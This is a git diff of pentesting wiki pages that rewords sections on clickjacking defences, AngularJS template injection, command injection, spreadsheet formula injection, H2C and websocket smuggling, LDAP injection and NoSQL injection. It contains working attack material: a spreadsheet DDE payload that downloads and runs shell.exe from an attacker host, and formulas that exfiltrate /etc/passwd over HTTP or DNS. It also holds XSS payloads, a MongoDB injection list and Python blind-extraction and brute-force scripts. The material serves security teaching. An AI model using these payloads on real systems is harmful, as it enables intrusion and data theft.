* `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`.
For instance, the following CSP only allows framing from the same domain:
`Content-Security-Policy: frame-ancestors 'self';`
See the following documentation for further details and more complex examples:
Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### Content Security Policy (CSP) with `child-src` and `frame-src`
### Limitations <a href="#limitations" id="limitations"></a>
**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
* **Browser support:** CSP frame-ancestors are not supported by all the major browsers yet.
* **X-Frame-Options takes priority:** [Section "Relation to X-Frame-Options" of the CSP Spec](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) says: "_If a resource is delivered with a policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the X-Frame-Options header MUST be ignored_", but Chrome 40 & Firefox 35 ignore the frame-ancestors directive and follow the X-Frame-Options header instead.
#### `frame-src` Directive
- Defines valid sources for frames.
- More specific than the `default-src` directive.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
This policy allows frames from the same origin (self) and https://trusted-website.com.
#### `child-src` Directive
- Introduced in CSP level 2 to set valid sources for web workers and frames.
- Acts as a fallback for frame-src and worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
This policy allows frames and workers from the same origin (self) and https://trusted-website.com.
**Usage Notes:**
- Deprecation: child-src is being phased out in favor of frame-src and worker-src.
- Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used.
- Strict Source Definition: Include only trusted sources in the directives to prevent exploitation.
#### JavaScript Frame-Breaking Scripts
Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Employing Anti-CSRF Tokens
* **Token Validation:** Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.
## References

View file

@ -23,10 +23,9 @@ The way to **test** for this vulnerability is very **similar** as in the case of
# AngularJS
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the **`ng-app`** attribute (also known as an AngularJS directive). When a directive is added to the HTML code, **you can execute JavaScript expressions within double curly braces**.\
For example, if your **input** is being **reflected** inside the **body** of the HTML and the body is defined with `ng-app`: **`<body ng-app>`**
AngularJS is a widely-used JavaScript framework that interacts with HTML through attributes known as directives, a notable one being **`ng-app`**. This directive allows AngularJS to process the HTML content, enabling the execution of JavaScript expressions inside double curly braces.
You can **execute arbitrary JavaScript** code using curly braces **adding** to the **body**:
In scenarios where user input is dynamically inserted into the HTML body tagged with `ng-app`, it's possible to execute arbitrary JavaScript code. This can be achieved by leveraging the syntax of AngularJS within the input. Below are examples demonstrating how JavaScript code can be executed:
```javascript
{{$on.constructor('alert(1)')()}}
@ -37,7 +36,7 @@ You can **execute arbitrary JavaScript** code using curly braces **adding** to t
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
{% hint style="danger" %}
[**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.

View file

@ -23,7 +23,7 @@ Get Access Today:
## What is command Injection?
OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From [here](https://portswigger.net/web-security/os-command-injection)).
A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.
### Context
@ -154,9 +154,8 @@ powershell C:**2\n??e*d.*? # notepad
## References
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}
{% embed url="https://portswigger.net/web-security/os-command-injection" %}
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
<details>

View file

@ -70,79 +70,44 @@ Imagine a security breach in a Student Record Management system is exploited thr
### RCE
For this example to work it's **needed to have enable the following configuration**:\
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch\
or the use of an **old Excel version**.
**Check the [original post](https://notsosecure.com/data-exfiltration-formula-injection-part1) for further details.**
The good news is that **this payload is executed automatically when the file is opened** (f the user accepts the warnings).
In specific configurations or older versions of Excel, a feature called Dynamic Data Exchange (DDE) can be exploited for executing arbitrary commands. To leverage this, the following settings must be enabled:
It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
- Navigate to File → Options → Trust Center → Trust Center Settings → External Content, and enable **Dynamic Data Exchange Server Launch**.
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
When a spreadsheet with the malicious payload is opened (and if the user accepts the warnings), the payload is executed. For example, to launch the calculator application, the payload would be:
### More
```markdown
`=cmd|' /C calc'!xxx`
```
Additional commands can also be executed, such as downloading and executing a file using PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
### Local File Inclusion (LFI) in LibreOffice Calc
**LibreOffice Calc**
LibreOffice Calc can be used to read local files and exfiltrate data. Here are some methods:
* This will read the 1st line from the local /etc/passwd file: `='file:///etc/passwd'#$passwd.A1`
* Ex-filtrate it: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Ex-filtrate more than one line: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS Exfiltration: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
- Reading the first line from the local `/etc/passwd` file: `='file:///etc/passwd'#$passwd.A1`
- Exfiltrating the read data to an attacker-controlled server: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Exfiltrating more than one line: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS exfiltration (sending read data as DNS queries to an attacker-controlled DNS server): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
**Analyzing the DNS ex-filtration payload:**
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
* file:///etc/passwd#$passwd.A19 Will read the 19th line from the local /etc/passwd file
* ENCODEURL(file:///etc/passwd#$passwd.A19) URL encode the returned data
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) Similar to substring, read data from 1st character to 41st a very handy way to restrict the length of DNS hostnames (254 character limit on FQDN and 63 characters for a label, i.e. subdomain)
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) replace all instances of % (the special character from URL encoding) with dash this is ensure that only valid DNS characters are used
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain)
* WEBSERVICE Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control
Google Sheets offers functions that can be exploited for OOB data exfiltration:
### Google Sheets OOB Data Exfiltration
- **CONCATENATE**: Appends strings together - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Imports data from structured data types - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Imports RSS or ATOM feeds - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Imports data from HTML tables or lists - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Imports a range of cells from another spreadsheet - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Inserts an image into a cell - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
Firstly, lets introduce some of the more interesting functions.
**CONCATENATE**: Appends strings to one another.
```
=CONCATENATE(A2:E2)
```
**IMPORTXML**: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds.
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED**: Imports a RSS or ATOM feed.
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML**: Imports data from a table or list within an HTML page.
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE**: Imports a range of cells from a specified spreadsheet.
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**IMAGE**: Inserts an image into a cell.
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## LaTeX Injection
@ -248,7 +213,7 @@ From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
## Ghostscript Injection
TODO: Create a summary with the more relevant information and techniques from [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
**Check [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)**
## References

View file

@ -26,100 +26,81 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
### HTTP2 Over Cleartext (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
A normal HTTP connection typically lasts only for the duration of a single request. However, H2C or “**http2 over cleartext”** is where a normal transient http **connection is upgraded to a persistent connection that uses the http2 binary protocol** to communicate continuously instead of for one request using the plaintext http protocol.
H2C, or **http2 over cleartext**, deviates from the norm of transient HTTP connections by upgrading a standard HTTP **connection to a persistent one**. This upgraded connection utilizes the http2 binary protocol for ongoing communication, as opposed to the single-request nature of plaintext HTTP.
The second part of the smuggling occurs when a **reverse proxy is used**. Normally, when http requests are made to a reverse proxy, the proxy will handle the request, process a series of routing rules, then forward the request onto the backend and then return the response. When a http request includes a `Connection: Upgrade` header, such as for a websocket connection, the reverse **proxy will maintain the persistent connection** between the client and server, **allowing for the continuous communication needed for these procotols**. For a H2C Connection, the RFC requires 3 headers to be present:
The crux of the smuggling issue arises with the usage of a **reverse proxy**. Ordinarily, the reverse proxy processes and forwards HTTP requests to the backend, returning the backend's response after that. However, when the `Connection: Upgrade` header is present in an HTTP request (commonly seen with websocket connections), the reverse **proxy maintains a persistent connection** between client and server, facilitating the continuous exchange required by certain protocols. For H2C connections, adherence to the RFC necessitates the presence of three specific headers:
```
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
So where is the bug? **When upgrading a connection, the reverse proxy will often stop handling individual requests**, assuming that once the connection has been established, its routing job is done. Using H2C Smuggling, we can bypass rules a reverse proxy uses when processing requests such as path based routing, authentication, or the WAF processing provided we can establish a H2C connection first.
![](<../.gitbook/assets/image (454).png>)
The vulnerability arises when, after upgrading a connection, the reverse proxy ceases to manage individual requests, assuming its job of routing is complete post-connection establishment. Exploiting H2C Smuggling allows for circumvention of reverse proxy rules applied during request processing, such as path-based routing, authentication, and WAF processing, assuming an H2C connection is successfully initiated.
### Vulnerable Proxies <a href="#exploitation" id="exploitation"></a>
Note from the explanation of the vulnerability that the proxy server needs to **forward the Upgrade header**, and sometimes the **Connection header** also needs to be successfully forwarded.
The vulnerability is contingent on the reverse proxy's handling of `Upgrade` and sometimes `Connection` headers. The following proxies inherently forward these headers during proxy-pass, thereby inherently enabling H2C smuggling:
By default, the following services **do** forward **Upgrade** and **Connection headers** during proxy-pass, thereby enabling h2c smuggling out-of-the-box.:
- HAProxy
- Traefik
- Nuster
* HAProxy
* Traefik
* Nuster
Conversely, these services do not inherently forward both headers during proxy-pass. However, they may be configured insecurely, allowing unfiltered forwarding of `Upgrade` and `Connection` headers:
By default, these services **do not** forward both Upgrade and Connection headers during proxy-pass, but **can be configured in an insecure manner** (by passing unfiltered Upgrade and Connection headers):
* AWS ALB/CLB
* NGINX
* Apache
* Squid
* Varnish
* Kong
* Envoy
* Apache Traffic Server
- AWS ALB/CLB
- NGINX
- Apache
- Squid
- Varnish
- Kong
- Envoy
- Apache Traffic Server
### Exploitation <a href="#exploitation" id="exploitation"></a>
The original blog post points out that not all servers will forward the required headers for a compliant H2C connection upgrade. This means load balancers like AWS ALB/CLB, NGINX, and Apache Traffic Server amongst others will **prevent a H2C connection by default**. However, at the end of the blog post, he does mention that “not all backends were compliant, and we could **test with the non-compliant `Connection: Upgrade` variant, where the `HTTP2-Settings` value is omitted** from the `Connection` header.”
It's crucial to note that not all servers inherently forward the headers required for a compliant H2C connection upgrade. As such, servers like AWS ALB/CLB, NGINX, and Apache Traffic Server, among others, naturally block H2C connections. Nonetheless, it's worth testing with the non-compliant `Connection: Upgrade` variant, which excludes the `HTTP2-Settings` value from the `Connection` header, as some backends may not conform to the standards.
{% hint style="danger" %}
Note that even if the `proxy_pass` URL (the endpoint the proxy forwards the connection) was pointing to a specific **path** such as `http://backend:9999/socket.io` the connection will be stablished with `http://backend:9999` so you can **contact any other path inside that internal endpoint abusing this technique. So it doesn't matter if a path is specified in the URL of proxy\_pass.**
Irrespective of the specific **path** designated in the `proxy_pass` URL (e.g., `http://backend:9999/socket.io`), the established connection defaults to `http://backend:9999`. This allows for interaction with any path within that internal endpoint, leveraging this technique. Consequently, the specification of a path in the `proxy_pass` URL does not restrict access.
{% endhint %}
Using the tools [**https://github.com/BishopFox/h2csmuggler**](https://github.com/BishopFox/h2csmuggler) **and** [**https://github.com/assetnote/h2csmuggler**](https://github.com/assetnote/h2csmuggler) you can try to **bypass the protections imposed** by the proxy establishing a H2C connection and access proxy protected resources.
The tools [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) and [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) facilitate attempts to **circumvent proxy-imposed protections** by establishing an H2C connection, thereby enabling access to resources shielded by the proxy.
Follow this link for[ **more info about this vulnerability in Nginx**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
For additional information on this vulnerability, particularly concerning NGINX, refer to [**this detailed resource**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
## Websocket Smuggling
# Websocket Smuggling
Similar to previous technique, this one **instead** of creating a **HTTP2 tunnel** to an endpoint accessible via a proxy, it will create a **Websocket tunnel** for the same purpose, **bypass potential proxies limitations** and talk directly to the endpoint:
Websocket smuggling, unlike creating a HTTP2 tunnel to an endpoint accessible via a proxy, establishes a Websocket tunnel to bypass potential proxy limitations and facilitate direct communication with the endpoint.
![](<../.gitbook/assets/image (651) (2) (1).png>)
## Scenario 1
### Scenario 1
In this scenario, a backend that offers a public WebSocket API alongside an inaccessible internal REST API is targeted by a malicious client seeking access to the internal REST API. The attack unfolds in several steps:
We have backend that exposes public **WebSocket API** and also has **internal REST API not available** from outside. Malicious client wants to access internal REST API.
1. The client initiates by sending an Upgrade request to the reverse proxy with an incorrect `Sec-WebSocket-Version` protocol version in the header. The proxy, failing to validate the `Sec-WebSocket-Version` header, believes the Upgrade request to be valid and forwards it to the backend.
2. The backend responds with a status code `426`, indicating the incorrect protocol version in the `Sec-WebSocket-Version` header. The reverse proxy, overlooking the backend's response status, assumes readiness for WebSocket communication and relays the response to the client.
3. Consequently, the reverse proxy is misled into believing a WebSocket connection has been established between the client and backend, while in reality, the backend had rejected the Upgrade request. Despite this, the proxy maintains an open TCP or TLS connection between the client and backend, allowing the client unrestricted access to the private REST API through this connection.
On the **first** step client sends **Upgrade request** to reverse proxy but with **wrong protocol version** inside header `Sec-WebSocket-Version`. **Proxy** doesn't validate `Sec-WebSocket-Version` header and thinks that **Upgrade request is correct**. Further it translates request to the backend.
Affected reverse proxies include Varnish, which declined to address the issue, and Envoy proxy version 1.8.0 or older, with later versions having altered the upgrade mechanism. Other proxies may also be susceptible.
On the second step backend sends **response with status code `426` because protocol version is incorrect** inside header `Sec-WebSocket-Version`. However, **reverse proxy doesn't check** enough response from backend (including status code) and **thinks that backend is ready for WebSocket communication**. Further it translates request to the client.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
Finally, reverse **proxy thinks** that **WebSocket connection is established between client and backend**. In reality there is no WebSocket connection - backend refused Upgrade request. At the same time, proxy keeps TCP or TLS connection between client and backend in open state. **Client can easily access private REST API by sending HTTP request over the connection.**
## Scenario 2
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
This scenario involves a backend with both a public WebSocket API and a public REST API for health checking, along with an inaccessible internal REST API. The attack, more complex, involves the following steps:
It was found that following reverse proxies are affected:
1. The client sends a POST request to trigger the health check API, including an additional HTTP header `Upgrade: websocket`. NGINX, serving as the reverse proxy, interprets this as a standard Upgrade request based solely on the `Upgrade` header, neglecting the request's other aspects, and forwards it to the backend.
2. The backend executes the health check API, reaching out to an external resource controlled by the attacker that returns a HTTP response with status code `101`. This response, once received by the backend and forwarded to NGINX, deceives the proxy into thinking a WebSocket connection has been established due to its validation of only the status code.
* Varnish - team refused to fix described issue.
* Envoy proxy 1.8.0 (or older) - in newer versions upgrade mechanism has been changed.
* Others - TBA.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
### Scenario 2
> **Warning:** This technique's complexity increases as it requires the ability to interact with an endpoint capable of returning a status code 101.
The majority of reverse proxies (e.g. NGINX) **check status code from backend** during handshake part. This makes attack harder but not impossible.
Ultimately, NGINX is tricked into believing a WebSocket connection exists between the client and the backend. In reality, no such connection exists; the health check REST API was the target. Nevertheless, the reverse proxy maintains the connection open, enabling the client to access the private REST API through it.
Let's observe second scenario. We have backend that exposes public WebSocket API and public REST API for health checking and also has **internal REST API not available from outside**. Malicious client wants to access internal REST API. NGINX is used as reverse proxy. WebSocket API is available on path `/api/socket.io/` and healthcheck API on path `/api/health`.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Healthcheck API is invoked by sending POST request, parameter with name `u` controls URL. Backend reaches external resource and returns status code back to the client.
On the **first** step client sends POST request to invoke **healthcheck API but with additional HTTP header `Upgrade: websocket`**. NGINX thinks that it's a **normal Upgrade request**, it looks only for `Upgrade` header skipping other parts of the request. Further proxy translates request to the backend.
On the **second** step backend invokes healtcheck API. It reaches external resource controlled by malicious users that returns HTTP **response with status code `101`**. Backend translates that response to the reverse proxy. Since NGINX validates only status code **it will think that backend is ready for WebSocket communication**. Further it translates request to the client.
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
{% hint style="warning" %}
Note how this scenario is much more complex to exploit as you need to be able to contact some endpoint that **returns status code 101**.
{% endhint %}
Finally, **NGINX thinks that WebSocket connection is established between client and backend**. In reality there is no WebSocket connection - healthcheck REST API was invoked on backend. At the same time, reverse proxy keeps TCP or TLS connection between client and backend in open state. **Client can easily access private REST API by sending HTTP request over the connection.**
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
The majority of reverse proxies should be affected by that scenario. However, exploitation requires existence of external SSRF vulnerability (usually considered low-severity issue).
Most reverse proxies are vulnerable to this scenario, but exploitation is contingent upon the presence of an external SSRF vulnerability, typically regarded as a low-severity issue.
### Labs

View file

@ -20,7 +20,7 @@ Web browsers can reuse a single HTTP/2+ connection for different websites throug
For example, if `wordpress.example.com` and `secure.example.com` are both served by the same reverse proxy and have a common wildcard certificate, a browser's connection coalescing could lead requests to `secure.example.com` to be wrongly processed by the WordPress back-end, exploiting vulnerabilities such as XSS.
To observe connection coalescing, Chrome's Network tab or tools like WireShark can be used. Here's a snippet for testing:
To observe connection coalescing, Chrome's Network tab or tools like Wireshark can be used. Here's a snippet for testing:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })

View file

@ -12,29 +12,29 @@
</details>
## Connection state attacks <a href="#state" id="state"></a>
**This is a summary of the post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
### **First-request validation**
## Connection State Attacks <a href="#state" id="state"></a>
Reverse proxies often use the **Host header** to identify **which back-end server to route** each request to, and have a whitelist of hosts that people are **allowed to access.**
### First-request Validation
However, some proxies only apply this **whitelist to the first request sent** over a given connection. This means attackers can gain **access to internal** websites by issuing a **request to an allowed** destination, **followed** by one for the **internal site** down the same connection:
When routing requests, reverse proxies might depend on the **Host header** to determine the destination back-end server, often relying on a whitelist of hosts that are permitted access. However, a vulnerability exists in some proxies where the whitelist is only enforced on the initial request in a connection. Consequently, attackers could exploit this by first making a request to an allowed host and then requesting an internal site through the same connection:
```
```text
GET / HTTP/1.1
Host: redacted
Host: [allowed-external-host]
GET / HTTP/1.1
Host: intranet.redacted
Host: [internal-host]
```
Mercifully, this **mistake is quite rare**.
This vulnerability is thankfully not widespread.
### **First-request routing**
### First-request Routing
First-request routing occurs when the front-end uses the **first request's Host header to decide** which back-end to route the request to, and then **routes all subsequent requests** from the same client connection down the **same back-end connection**.
In some configurations, a front-end server may use the **Host header of the first request** to determine the back-end routing for that request, and then persistently route all subsequent requests from the same client connection to the same back-end connection. This can be demonstrated as:
```
```text
GET / HTTP/1.1
Host: example.com
@ -42,15 +42,12 @@ POST /pwreset HTTP/1.1
Host: psres.net
```
This could be chained with [**Host header attacks**](https://portswigger.net/web-security/host-header) like password reset poisoning, [**web cache poisoning**](https://portswigger.net/web-security/web-cache-poisoning), and gaining access to other virtual hosts.
This issue can potentially be combined with [Host header attacks](https://portswigger.net/web-security/host-header), such as password reset poisoning or [web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning), to exploit other vulnerabilities or gain unauthorized access to additional virtual hosts.
{% hint style="info" %}
You can scan for these two flaws using the 'connection-state probe' option in HTTP Request Smuggler.
To identify these vulnerabilities, the 'connection-state probe' feature in HTTP Request Smuggler can be utilized.
{% endhint %}
## References
* [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
<details>

View file

@ -14,6 +14,9 @@ Other ways to support HackTricks:
</details>
**The technique of this post was taken from the video: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)**
## HTTP Request Queue Desynchronisation
First of all, this technique **abuses a HTTP Request Smuggling vulnerability**, so you need to know what that is:
@ -140,9 +143,6 @@ However, note how the **reflected data had a size according to the Content-Lengt
Therefore, the **next request of the second victim** will be **receiving** as **response something completely crafted by the attacker**. As the response is completely crafted by the attacker he can also **make the proxy cache the response**.
## References
* Don't forget to check this video explaining all these techniques really good: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)
<details>

View file

@ -31,7 +31,7 @@ Other ways to support HackTricks:
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection** is an attack used to **exploit** **web** based applications that construct **LDAP** **statements** based on **user** **input**. When an application **fails** to properly **sanitize** user input, it's possible to modify LDAP statements using a local proxy.
**LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}

View file

@ -22,7 +22,6 @@ Other ways to support HackTricks:
</details>
NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
## Exploit
@ -63,7 +62,7 @@ username[$exists]=true&password[$exists]=true
query = { $where: `this.username == '${username}'` }
```
If we pass in a string like `username=admin' || 'a'=='a` the query will become `$where: this.username == 'admin' || 'a'=='a'` which of course always evaluates to true and thus returns **all results**.
An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.
```
Normal sql: ' or 1=1-- -
@ -120,7 +119,7 @@ Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cock
"user":{"$func": "var_dump"}
```
![](<../.gitbook/assets/image (468).png>)
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../.gitbook/assets/image (468).png>)
### Get info from different collection
@ -153,7 +152,41 @@ Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Blind NoSQL
## MongoDB Payloads
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
```python
import requests, string
@ -191,34 +224,6 @@ while True:
password += c
```
## MongoDB Payloads
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' || '1'=='1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
```
## Tools
* [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
* [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
### Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
@ -263,10 +268,17 @@ for u in get_usernames(""):
get_password(u)
```
## Tools
